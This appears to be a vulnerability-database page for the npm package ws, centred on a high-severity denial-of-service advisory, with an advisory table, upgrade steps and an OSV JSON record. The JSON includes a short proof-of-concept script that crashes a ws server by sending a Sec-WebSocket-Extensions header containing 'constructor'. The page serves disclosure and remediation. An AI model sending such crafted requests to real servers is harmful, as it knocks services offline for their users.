Vulnerabilities in pkg:npm/ws
PACKAGEGHSA-5v72-xg48-5rpm is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Ws libraries in the npm ecosystem. The issue involves denial of service in ws. Remediation is available by upgrading affected packages to version 1.1.5, 3.3.1.
pkg:npm/ws
Vulnerability advisories affecting package pkg:npm/ws. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-5v72-xg48-5rpm | - | HIGH | Denial of Service in ws |
| GHSA-96hv-2xvq-fx4p | CVE-2026-48779 | HIGH | ws: Memory exhaustion DoS from tiny fragments and data chunks |
| GHSA-58qx-3vcg-4xpx | CVE-2026-45736 | MODERATE | ws: Uninitialized memory disclosure |
| GHSA-3h5v-q93c-6h6q | CVE-2024-37890 | HIGH | ws affected by a DoS when handling a request with many HTTP headers |
| GHSA-6fc8-4gx4-v693 | CVE-2021-32640 | MODERATE | ReDoS in Sec-Websocket-Protocol header |
| GHSA-6663-c963-2gqg | CVE-2016-10542 | HIGH | DoS due to excessively large websocket message in ws |
| GHSA-2mhh-w6q8-5hxw | CVE-2016-10518 | LOW | Remote Memory Disclosure in ws |
GHSA-5v72-xg48-5rpm at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix GHSA-5v72-xg48-5rpm
To remediate this vulnerability, upgrade all affected Ws dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install ws@1.1.5
npm install ws@3.3.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls ws
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-5v72-xg48-5rpm, inspect your project dependencies using npm:
npm ls ws
Analyze the terminal output to locate any version of Ws in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.5), your application is affected.
Note: The npm ls ws command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Ws, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-5v72-xg48-5rpm Affected Ws Versions
2 component(s)References
Frequently Asked Questions
What is GHSA-5v72-xg48-5rpm?
Which Ws versions are affected?
What version fixes GHSA-5v72-xg48-5rpm?
Is ws affected?
What is the CVSS score of GHSA-5v72-xg48-5rpm?
What CWE is associated with GHSA-5v72-xg48-5rpm?
How can I check npm dependencies for GHSA-5v72-xg48-5rpm?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-5v72-xg48-5rpm",
"modified" : "2026-07-17T18:28:06Z",
"published" : "2019-06-04T19:37:52Z",
"aliases" : [ ],
"summary" : "Denial of Service in ws",
"details" : "Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.\n\n## Proof of concept\n\n```\nconst WebSocket = require('ws');\nconst net = require('net');\n\nconst wss = new WebSocket.Server({ port: 3000 }, function () {\n const payload = 'constructor'; // or ',;constructor'\n\n const request = [\n 'GET / HTTP/1.1',\n 'Connection: Upgrade',\n 'Sec-WebSocket-Key: test',\n 'Sec-WebSocket-Version: 8',\n `Sec-WebSocket-Extensions: ${payload}`,\n 'Upgrade: websocket',\n '\\r\\n'\n ].join('\\r\\n');\n\n const socket = net.connect(3000, function () {\n socket.resume();\n socket.write(request);\n });\n});\n```\n\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "ws"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.6.0"
}, {
"fixed" : "1.1.5"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "ws"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.0.0"
}, {
"fixed" : "3.3.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/websockets/ws/commit/a810bfa44f08c84ff3f43cc71327e9bb5fb273ef"
}, {
"type" : "WEB",
"url" : "https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a"
}, {
"type" : "WEB",
"url" : "https://github.com/websockets/ws/commit/f8fdcd40ac8be7318a6ee41f5ceb7e77c995b407"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/websockets/ws"
}, {
"type" : "WEB",
"url" : "https://snyk.io/vuln/npm:ws:20171108"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2019-06-04T19:37:42Z",
"nvd_published_at" : null
}
}